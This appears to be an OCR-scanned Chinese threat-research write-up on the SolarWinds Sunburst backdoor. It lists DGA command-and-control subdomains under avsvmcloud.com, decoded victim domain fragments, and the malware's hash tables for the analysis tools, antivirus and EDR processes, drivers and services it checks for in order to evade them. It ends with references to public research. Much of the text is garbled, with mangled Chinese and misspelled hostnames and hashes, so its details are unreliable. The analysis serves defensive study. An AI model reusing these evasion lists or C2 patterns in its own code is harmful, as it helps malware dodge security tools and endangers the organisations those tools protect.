a4r8rndp6aom5fg5g6pl.appsync-apl . us-west-2 . avsvmcloud . com
edspiistoruglijgSo6od.appsync-api.us-west-2. avsymcloud . com
85q2spAvabSramdf7117 .appsync-api.eu-west-1.avsymcloud . com
eaampkprgdk@iiebcrljovate2h.appsync-api.us-east-1.avsvmcloud. com
BeoBE65eliouwdt@btvef@bl2eul .appsync-api.us-east-1. avsvmcloud. com
@7e@5jnEl36uranbtvef@bl2eul .appsync-api.us-east-1.avsvmcloud. com
87g2aghbohpdbncceévidodsovertris . appsync-api.us-east-1.avsvmcloud. com
e7ttndauvgjrjdpcbtvef@bl2eul .appsync-api.us-east-1.avsvmcloud. com
BBamtsejd@2kobtbehe7ts2fdebl2eul. . appsync-api.eu-west-1.avsvme loud. com
@9un@dcpkalitb®enlhdqlp.appsync-api.us-east-2.avsvmclowd. com
Bapchte7@3gBdidttE34319. appsync-api.us-east-1.avsvmcloud. com
Bh@fbhp2@mdsvdscwollr@oirssrc2vy . appsync-apl.us-east-2. avsvmc loud . com
17 Bbr2kgmp2hbgd@sb9uf29149711le.appsync-api.us-east-2.avsvmcloud. com
Bbvekouisdgtgslbelsdetdieodte2h. appsync-apl.us-east-2.avsvmcloud. com
Bbvgdnoo?tfrdksbuleg2st.appsync-api.us-east-2.avsvmcloud. com
Bc32jejeqiupladbedenetejeoeu.appsync-api.us-east-1.avsvmcloud. com
Bc32jejeqiuplacbbdenegejegeu.appsync-api.us-east-1.avsvmcloud. com
BchogSbtugjghhocois@coubiuirdern. appsync-api.us-east-1.avsvmeloud. com
Bcatgds2ggijbpibtvef@bl2eul .appsync-api.us-east-1.avsvmcloud. com
Bdehpb@e2qsiejdholcs . appsync-apl.us-west-2 . avsymcloud . com
Bdvefsons11rehgh@657 .appsync-apl . us-west-2 . avsymcloud . com
Beked1ljkeq78b5dtecpgmld. appsync-apl.us-east-2.avsvmcloud. com
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B _ERDCGAIRE AT , BANURRRB U ER" D IRHE —BE R RAL T AR mAS = A TR R
T EMELERIMA R, TURIIABRE BT EFNALRBEERX | AL HARKEBFMAI T L%
&,

File Edit Search Wiew Encoding Language Settings Tools Macro Run  Plugins Window ?
PY= A=Y | |th % | @ % [EE|=
= poadhB. txtEd IE sunburzt—uni g—hostnames. txt. txt_]l

3 J4zpiistorugljgsoecd isi
! Oe0mpkprgdki8T7eberljoviteZh

=) 06o00865elioudtlibtvefiblienl

€ 07605jn8l3curanbtvefOblZenl
0T7g2aghbohpd4bnccetvilodsovertr2s
g 07ctndaugjrjd4pchbtvefiblieul

g D8amtsejd02kobtbéhl7ts2fdibl2eul
10 Ob0fbhp20mdsvdscwollrloirssrc2vy
11 Obvekouisd4gtgslbe2sditdiecltelZh
12 Obvgi8nooT7tfrdksbu3lg2st ah.org
13 0c32j0j6gBup3adbedendtEjloen

14 0c3250j6g8uplackedenlgEjlgen

15 JcbogSbhbtugjghhocoielcoueiuirlcrn

O0fhdojdwvgeuskgkcds2n0i3uholi2v0i
Ofkgfsfafqmg39pciimudofiTsf4tjvh
0fnToedcegrio33c0Omudofi7TSE4tivh
Oftdlsok8kjdkpébeuheoiplilieunl
0il7b6lbsutdi80dcexr08ovirsvalloe
3 0ij593ftklciddelbilesgividfjulin3
017bgt0lhmk4pmrcuhslee2sdicovirl
0lgimdgjB8gk63ldcuhslce2sdigovirl
01jdf3k3aic3bsncwhelguniowascuvl
g 0lu3cu7ecfr4Sujneceéruiilrl0eovirsva
Omlimrgllcde2u30cligsdsisSfsjhaéb9
Om451lsmf431rf3cbu3l0g2st ah.org
OmSvltrnfgd7iTleg22nsfSS0kéugprs
OmE8abtnletl26gkcgs3sz0i3rglriildo
Oms9zécmpd7s3mhcunlcl2dichoTrlplg
Oolcrtjd4bsjtulfbursoZveisdiee2h
Oogdtu3r8abdedibeuheoipitlienl

] Orfgtn3j7Svrrkmbu3lcZst ah.org
37 JrussubSdiiremgbu3022st ah.org
ah.org

34 OruSsubSd4iiremrbuifo2st
3 Ov9gisSpkdmpn3kicoi&lcoueiuirfgrn
40 Ovu9cee6cp4lsemncunl22dicho7rlp0i
41 10heaT7samrh2bo231g70 3j=z

42 131apen9992i2ald00madofi75f4cjvh
43 133bocmjd8ppsaddi0eullosSiheadvo
14 13ach7rkulblgs9dwheliund2wascuvl
13obgel0joasvrTotlf0ielZh

1 14aalShlo55d8nelpij0iow

Fi ) 1l4fhos08sg2r26etocid ib
4 l6e9jr0hnie2ghSctvef0ilZeul

yok.in

belkin.com
gncu.local
gncu.local

csnt .princegeor

gncu.local

sm—group.local
ville.terrebonn
corp.ptci.com

spsd.sk.ca
spsd.sk.ca

its.iastate.ed

16 Ocatgds2ggijbpibtvefOblZeul gncu.local
17 Odvefsonsllrehgh0&657 ofz
18 OekeSljkegT78bsdrtecpgmlD sbywx3

prod.hamilton.
WASHC
WASHC
camcity.local
c4e—internal.c
COWI.
amr.corp.intel
amr.corp.intel
vms.ad.varian
scattle.interna
SCHMRI

woodruff-sawyer
wihfl.hewlett.
ad.optimizely.
aerioncorp.com
camcity.local

its.iastate.ed
ad.optimizely.

WASHC
Centr
vms.ad.varian

glu.com

gncu.local

FAGUIDEIEIMD5SIHE L KK , FTAEASE EMACHELE R RATRER] , BXFHFAARERGUIDFIZKEME. FireEye
FEHGIitHub_EAFRHIDNSIE KRB & AT INZEHKIGUID :
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URL
a5 k?bald9%eglscbg.appsync-apleu-west-1.avsvmcloud.com
Tsbvaemscs0mc925th 99 appsync-apius-west- 2. avsvmcloud.com
galhB856599gah538acqn.appsync-api.us-west-2.avsvmeloud.com
ihvpogvApsvg02ffo7 Tetappsync-apius-east- 2. avsvmcloud. com
kokcubuassl3alrfigma3.appsync-api.eu-west- 1 avsvmcloud.com

mhdosoksaccf9sniSicp.appsync-api.eu-west- 1 avsvmcloud.com

BAERR R AR IR RARILRIFF AL

GUID(6441)
OxEED3Z28E059EBOTFC
Ox68302C991E01711D
0x2956497EBADDOBF
OxF7A37335B9EETDDE
OxA4BEGEBT4T71323C
OxA4BEBEETAT71323C

rig6arhpujcf6jb6ervisul@odohu@it.appsync-api.us-west-2.avsvmcloud.com

domain name part GUID (0x2956497EB4DDOBF9) offset © = central.pima.g

Oonil2ri13ficnkgb2w.appsync-api.us-west-2.avsvmcloud.com

domain name part GUID (0x2956497EB4DDOBF9) offset 35 = ov

r8stkst7iebqgj66ervisul@bdohudgt.appsync-api.us-west-2.avsvmcloud.com

domain name part GUID (0x683D2C991EQ1711D) offset © = central.pima.g

ulfmcf44qd58t9e82w.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x683D2C991EQ1711D) offset 35 = ov
617stsréntep@auho2v6@be2h.appsync-api.us-east-2.avsvmcloud.com

domain name part GUID (0x92EB3D64B8AM3CB) offset 35 = ions.com

FREL AT ALABRIGUIDA] MRS KBS K I TA BN T8, W PHERD A B Mo r s .

ok

AL BN AL 734 T Sunburst/a [ TR EITTPs , HJETSELEE T AR H B EH IR £[8# (OpSec) 7L T —

i, BARPREBZAZEERHAZHETT , ERPRN—LEA

BRI BAL AT A58 — B AAP TR S I ZERE . LI ATEh B MR HIE R , 28

k. (BRITTEWFFRRE , OpSecta& A AN RHIAEIR.
B : SunburstF RN B4 8
I B8

MTTPSSZ AR RANBRASENE , thE
ML R
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HASH

1109067043404435316UL

15267980678%329160412UL

8381292265953577266UL

3796405623655665524UL

4578480846255629462UL

8727477769544302060UL

10734127004244879770UL

11073283311104541690UL

4030236413975199654UL

T701683279824397773UL

5132256620104598637UL

5942282052525294911UL

FEit

'swdewv.local (SolarWinds

TIEE)

"‘swdev.dmz'(SolarWinds
Development DMZ}

'lab.local (FHIZEEE)

'lab.na’(SelarWinds 4k
MAE)

'lab.brno'(SolarWinds
Brno 714 =)

‘emea.sales’ (EMEA Sales)

‘cork.lab’(SolarWinds
Cork #MAE)

‘dev.local (Development)

‘dmz.local' (Demilitarized
Zone)

‘peilocal (PCI)

'saas.swi(Saas
SolarWinds)

'lab.rio'(SolarWinds Rio
Tp4AEE)

16858955978146406642UL  'pac.lab'(SolarWinds

APAC IMAE)
pigi ]
HASH IR

2597124982561782591UL

apimonitor-x64 (Rohitabfi a3 T it)

2600364143812063535UL

apimonitor-x86 (Rohitabfi a2 #T4k )

13464308873961738403UL

autopsy64 (AutopsyForensics)

4821863173800309721UL

autopsy (AutopsyForensics)

12969190449276002545UL

autoruns64 (AutorunsiiENATERLE)

3320026265773918739UL

autoruns (AutorunsimENHERA)

12094027092655598256UL

autorunsc64 (AutorunsimaE N ATERE)

10657751674541025650UL

autorunsc (AutorunsiREN M)

11913842725949116895UL

binaryninja (Binary Ninjaiimz ATk 4)
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5449730069165757263UL

blacklight (BlacklightForensics)

292198192373389586UL

cff explorer (NTCore Explorer Suitefizs M)

12790084614253405985UL

cutter (Rizin CutterfREHArEkY)

5219431737322569038UL

deddot (de4dotForensics)

15535773470978271326UL

debugview (DebugViewSRaEN T4 )

7810436520414958497UL

diskmon (DiskMonim &N ATk {4)

13316211011159594063UL

dnsd (Symantec &%)

13825071784440082496UL

dnspy (dnSpyfRENHTEH)

14480775929210717493UL

dotpeek32 (dotPeekimE N ATER{E)

14482658293117931546UL

dotpeek64 (dotPeekfmE ST F)

8473756179280619170UL

dumpcap (Wiresharkfmas9HTE44E)

3778500091710709090UL

evidence center (Belkasoft Evidence CenterForensics)

8799118153397725683UL

exeinfope (Exeinfo PESRENATIR{E)

12027963942392743532UL

fakedns (fakedns (iDefense )Rz M)

576626207276463000UL

fakenet (fakenetfm BN HTik{4)

7412338704062093516UL

fidec (Free Flash DecompilerfREN A4k {4)

682250828679635420UL

fiddler (Fiddlerflm AT 4F)

13014156621614176974UL

fileinsight (McAfeefREEHTK1E)

18150909006539876521UL

floss (FireEyelma= N k)

10336842116636872171UL

gdb (gdbJEF S HTERF)

12785322942775634499UL

hiew32demo (HiewRED M)
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13260224381505715848UL  hiew32 (HiewSim a3 ATk 4F)

17956969551821596225UL  hollows_hunter (hollows hunterf@ &5 ik 4)

8709004393777297355UL  idaq64 (IDAJRZHATERA)

14256853800858727521UL  idaq (IDASFEA AT )

8129411991672431889UL  idr (InsightDR?JRE S M)

15997665423159927228UL ildasm (IL Disassemblerfim AT #F)

10829648878147112121UL  ilspy (ILSpyfREZ N HTIRE)

9149947745824492274UL  jd-gui (Java DecompilerfRz S ATik{4)

3656637464651387014UL  lordpe (LordPEJRFNHTER1E)

3575761800716667678UL  officemalscanner (Officemalscannerfimd& 7 ATEk{4)

4501656691368064027UL  ollydbg (OllyDbgfEa A #rik k)

10296494671777307979UL  pdfstreamdumper (PDFStreamDumperfm & #ik i)

14630721578341374856UL  pe-bear (PE-bearfi N ATk {4)

4088976323439621041UL  pebrowse64 (Pebrowserfig& AT 4F)

9531326785919727076UL  peid (PeiDimESHTE4F)

6461429591783621719UL  pe-sieve3?2 (PE-sievefRE N k)

6508141243778577344UL  pe-sieve64 (PE-sievelimdZ S HTEE)

10235971842993272939UL  pestudio (pestudiofmaE STk E)

2478231962306073784UL  peview (PeviewSimaE ATk 4F)

9903758755917170407UL  pexplorer (Pexplorerfg k)

14710585101020280896UL  ppee (PPEEJRZE M)
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14710585101020280896UL

ppee (PPEESRE N HTIR)

13611814135072561278UL

procdump64 (ProcDumpimaE o ATak i)

2810460305047003196UL

procdump (ProcDumpi S ATk 4)

2032008861530788751UL

processhacker (Process Hackerf@ &5 #ik{4)

27407921587843457UL

procexp64 (Process Explorerfia i) Ak {4)

6491986958834001955UL

procexp (Process Explorerfim & #rik{4)

2128122064571842954UL

procmon (ProcMonf@E AT ik 4)

10484659978517092504UL

prodiscoverbasic (ProDiscoveryForensics)

8478833628889826985UL

py2exedecompiler (Py2ExeDecompilerf@Ea#ixk{4)

10463926208560207521UL

r2agent (Radare2f/&E N ATEk4)

7080175711202577138UL

rabin2 (Radare2fim &N ATaR L)

8697424601205169055UL

radare2 (Radare2fm& N HTA4E)

7775177810774851294UL

ramcapture64 (Ram CapturerForensics)

16130138450758310172UL

ramcapture (Ram CapturerForensics)

506634811745884560UL

reflector (Red Gate Reflectorf@E N M)

18294908219222222902UL

regmon (RegMonfmaE N ATk {4)

3588624367609827560UL

resourcehacker (Resource HackerfRZEnATik{s)

9555688264681862794UL

retdec-ar-extractor (Avast RetDecim &N HTEk{4)

5415426428750045503UL

retdec-bin2llvmir (Avast RetDecimEN ki)

3642525650883269872UL

retdec-bin2pat (Avast RetDecim&E 2 AT {F)

13135068273077306806UL

retdec-config (Avast RetDeciim& N ATik{4)
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3769837838875367802UL

retdec-fileinfo (Avast RetDeciim&E ik {4)

191060519014405309UL

retdec-getsig (Avast RetDeciRE M)

1682585410644922036UL

retdec-idr2pat (Avast RetDeciRE N HTEHE)

7878537243757499832UL

retdec-llvmir2hll (Avast RetDeciim &N ATk {4)

13799353263187722717UL

retdec-macho-extractor (Avast RetDecimEN ik 1)

1367627386496056834UL

retdec-pat2yara (Avast RetDecim &N TR {E)

12574535824074203265UL

retdec-stacofin (Avast RetDeciRENATik4)

16990567851129491937UL

retdec-unpacker (Avast RetDecim &) Ak {4)

8994091295115840290UL

retdec-yarac (Avast RetDeciREN )

13876356431472225791UL

rundotnetdll (RunDotNetDLLIRFS 5k 4)

14968320160131875803UL

sbiesvc (Sandbox{KIE UL/ B 5)

14868920869169964081UL

scdbg (SCDBGIRENHTEREF)

106672141413120087UL

scylla_x64 (ScyllafRE A M)

79089792725215063UL

scylla_x86 (ScyllaimzE N HraR4E)

5614586596107908838UL

shellcode_launcher (Shellcode Launcherfig& N A4k 1)

3869935012404164040UL

solarwindsdiagnostics (SolarWindsdev/test)

3538022140597504361UL

sysmon64 (SysmonEDR)

14111374107076822891UL

sysmon (SysmonEDR)

7982848972385914508UL

task explorer (Task ExplorerfmasnATik )

8760312338504300643UL

task explorer-64 (Task Explorerf@E N ATik)

17351543633914244545UL

tcpdump (tcpdumpimaEE D HTEEE)
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7516148236133302073UL

tcpveon (TCPViewfRE AT 4)

15114163911481793350UL

tcpview (TCPViewSmaE Ak s)

15457732070353984570UL

vboxservice (VirtualBox EE$Mt/B 5)

16292685861617888592UL

win32_remote (IDAJREDHTEY)

10374841591685794123UL

win64_remotex64 (IDAJKEEDATERLE)

3045986759481489935UL

windbg (WinDbg (Microsoft)iima S Tk 4F)

17109238199226571972UL

windump (WinPcap WinDumpiRaEN ATk i)

6827032273910657891UL

winhex64 (WinHexfRE S M)

5945487981219695001UL

winhex (WinHexim &N #rik4)

8052533790968282297UL

winobj (WinObjii N ik 4)

17574002783607647274UL

wireshark (WiresharkimZE9 ik 4)

3341747963119755850UL

x32dbg (x64dbgfREEN M)

14193859431895170587UL

x64dbg (x64dbgiEa N HTEH)

17439059603042731363UL

xwforensics64 (X-Ways Forensicsima ki)

17683972236092287897UL

xwforensics (X-Ways ForensicsiRzE#HT4)

700598796416086955UL

redcloak (Red Cloak / SecureWorksEDR)

3660705254426876796UL

avgsve (AVG R JREr)

12709986806548166638UL

avgui (AVG R JRE)

3890794756780010537UL

avgsvca (AVGRJFE)

2797129108883749491UL

avgidsagent (AVG & J/E)

3890769468012566366UL

avgsvex (AVGRIRE:)
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14095938998438966337UL

avgwdsvcex (AVG kIEE)

11109294216876344399UL

avgadminclientservice (AVG & j&#E)

1368907909245890092UL

afwserv (AvastJxaE)

11818825521849580123UL

avastui (Avast &%)

8146185202538899243UL

avastsvc (Avast & s )

2934149816356927366UL

aswidsagent (Avast/AVG & J& %)

13029357933491444455UL

aswidsagenta (Avast/AVG R J&EE)

6195833633417633900UL

aswengsrv (Avast/AVG /=)

2760663353550280147UL

avastavwrapper (Avast K )

16423314183614230717UL

bccavsve (Avastfz i3 )

2532538262737333146UL

psanhost (BEIfLZ£EDR)

4454255944391929578UL

psuaservice (REJELLEDR)

6088115528707848728UL

psuamain (REJH&£EDR)

13611051401579634621UL

avp (FEHEKRKS)

18147627057830191163UL

avpui (FEHERKE)

17633734304611248415UL

ksde (FEHTEEDR)

13581776705111912829UL

ksdeui (FEH#TEEDR)

7175363135479931834UL

tanium (TaniumEDR)

3178468437029279937UL

taniumclient (TaniumEDR)

13599785766252827703UL

taniumdetectengine (TaniumEDR)

6180361713414290679UL

taniumendpointindex (TaniumEDR)
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8612208440357175863UL  taniumtracecli (TaniumEDR)

8408095252303317471UL  taniumtracewebsocketclient64 (TaniumEDR)

IXFHHASHE 4 24
HASH Emh=ir
cybkerneltracker.sys
170973804901666236720L T
15194901817027173566uL  2Trsdfw.sys (Altiris /
Symantec)

12718416789200275332UL

18352881921099771407UL

36261426657684877e4UL

12343334044036541897UL

357780960855462665UL

6543102301517884311UL

13544031715334011032UL

11801746708619571308UL

18159703063075866524UL

835151375515273827UL

16570804352575357627UL

1614465773938842903UL

12679195163651834776UL

2717025511528702475UL

17984632978012874803UL

ARSGHASHE £ 81
HASH

eaw.sys (Raytheon
Cyber Sclutions)

rvsavd.sys (OPSWAT /
CJSC Returnil)

dodmk.sys (Verdasys)

sentinelmonitor.sys
(SentinelOne)

hexisfsmonitor.sys
[Hexis Cyber
Solutions)

groundling32.sys
(Dell Securewaorks)

groundlingbd.sys
(Dell Secureworks)

safe-agent.sys (SAFE-
Cyberdefense)

Crexecprev.sys
[Cybereasan)

psepfilter.sys
(Absolute Software)

cva.sys (Absolute
Software Corp.)

brfilter.sys (Bromium
- App allowlisting)

breow_x_x_x_x.5ys
(Bromium - App
allowlisting)

Iragentmf.sys
(LogRhythm)

libwamf.sys (OPSWAT
development)

T&e] BAHR

11385275378891906608UL  carbonblack (Carbon Black - App allowlisting)




13693525876560827283UL

carbonblackk (Carbon Black - App allowlisting)

17849680105131524334UL

cbcomms (Carbon Black - App allowlisting)

18246404330670877335UL

cbstream (Carbon Black - App allowlisting)

8698326794961817906UL

csfalconservice (Crowdstrike Falcon - EDR)

9061219083560670602UL

csfalconcontainer (Crowdstrike Falcon - EDR)

11771945869106552231UL

csagent (Crowdstrike - EDR)

9234894663364701749UL

csdevicecontrol (Crowdstrike - EDR)

8698326794961817906UL

csfalconservice (Crowdstrike Falcon - EDR)

15695338751700748390UL

xagt (FireEye - EDR)

640589622539783622UL

xagtnotif (FireEye - EDR)

15695338751700748390UL

xagt (FireEye - EDR)

9384605490088500348UL

fe_avk (FireEye - EDR)

6274014997237900919UL

fekern (FireEye - Forensics)

15092207615430402812UL

feelam (ESET - EDR)

3320767229281015341UL

fewscservice (FireEye - Forensics)

3200333496547938354UL

ekrn (ESET - EDR)

14513577387099045298UL

eguiproxy (ESET - EDR)

607197993339007484UL

egui (ESET - EDR)

15587050164583443069UL

eamonm (ESET - EDR)

9559632696372799208UL

eelam (ESET - EDR)

4931721628717906635UL

ehdrv (ESET - EDR)

3200333496547938354UL

ekrn (ESET - EDR)
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2589926981877829912UL

ekrnepfw (ESET - EDR)

17997967489723066537UL

epfwwfp (ESET - EDR)

14079676299181301772UL

ekbdflt (ESET - EDR)

17939405613729073960UL

epfw (ESET - EDR)

521157249538507889UL

fsgk32st (F-Secure - EDR)

14971809093655817917UL

fswebuid (F-Secure - EDR)

10545868833523019926UL

fsgk32 (F-Secure - EDR)

15039834196857999838UL

fsma32 (F-Secure - EDR)

14055243717250701608UL

fssm32 (F-Secure - EDR)

5587557070429522647UL

fnrb32 (F-Secure - EDR)

12445177985737237804UL

fsaua (F-Secure - EDR)

17978774977754553159UL

fsorsp (F-Secure ORSP - EDR)

17017923349298346219UL

fsav32 (F-Secure - EDR)

17624147599670377042UL

f-secure gatekeeper handler starter (F-Secure - EDR)

16066651430762394116UL

f-secure network request broker (F-Secure - EDR)

13655261125244647696UL

f-secure webui daemon (F-Secure - EDR)

12445177985737237804UL

fsaua (F-Secure - EDR)

3421213182954201407UL

fsma (F-Secure - EDR)

14243671177281069512UL

fsorspclient (F-Secure ORSP - EDR)

16112751343173365533UL

f-secure gatekeeper (F-Secure - EDR)

3425260965299690882UL

f-secure hips (F-Secure - EDR)

9333057603143916814UL

fsbts (F-Secure - EDR)
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3413886037471417852UL  fsni (F-Secure - EDR)

7315838824213522000UL  fsvista (F-Secure - EDR)

13783346438774742614UL f-secure filter (F-Secure - EDR)

2380224015317016190UL  f-secure recognizer (F-Secure - EDR)

3413052607651207697UL  fses (F-Secure - EDR)

3407972863931386250UL  fsfw (F-Secure - EDR)

10393903804869831898UL  fsdfw (F-Secure - EDR)

12445232961318634374UL fsaus (F-Secure - EDR)

3421197789791424393UL  fsms (F-Secure - EDR)

541172992193764396UL fsdevcon (F-Secure - EDR

SE 30k

[1] Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With
Sunburst Backdoor https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-
supply-chain-compromises-with-Sunburst-backdoor.html

[2] Sunburst Additional Technical Details https://www.fireeye.com/blog/threat-research/2020/12/Sunburst-
additional-technical-details.html

[3] Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft
Defender helps protect customers https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-
compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

[4] MSolarwindsfit By (&4ERE) BAPTITEh P AIEERKIELR,
https://mp.weixin.qq.com/s/DsFgqpQ2Gbs0j0aQaFbsYA

[5] Sunburst Cracked, https://github.com/ITAYCOHEN/Sunburst-Cracked
[6] Sunburst DGA decoder, https://github.com/2igosha/Sunburst_dga
[7] Living Off The Land Binaries and Scripts (and also Libraries) https://lolbas-project.github.io/

[8] Bring Your Own Land (BYOL) — A Novel Red Teaming Technique https://www.fireeye.com/blog/threat-
research/2018/06/bring-your-own-land-novel-red-teaming-technique.html

[9] ProcessColor.cna https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10

[10] Seatbelt InterestingProcessesCommand
https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs
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[11] Sliver https://github.com/BishopFox/sliver
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https://www.4hou.com/posts/AOq7
https://www.4hou.com/posts/r7ZB
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https://www.4hou.com/posts/K94R
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https://www.4hou.com/posts/r7ZB
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https://www.4hou.com/posts/K94R
https://www.4hou.com/posts/lEzJ
https://www.4hou.com/posts/vLnr

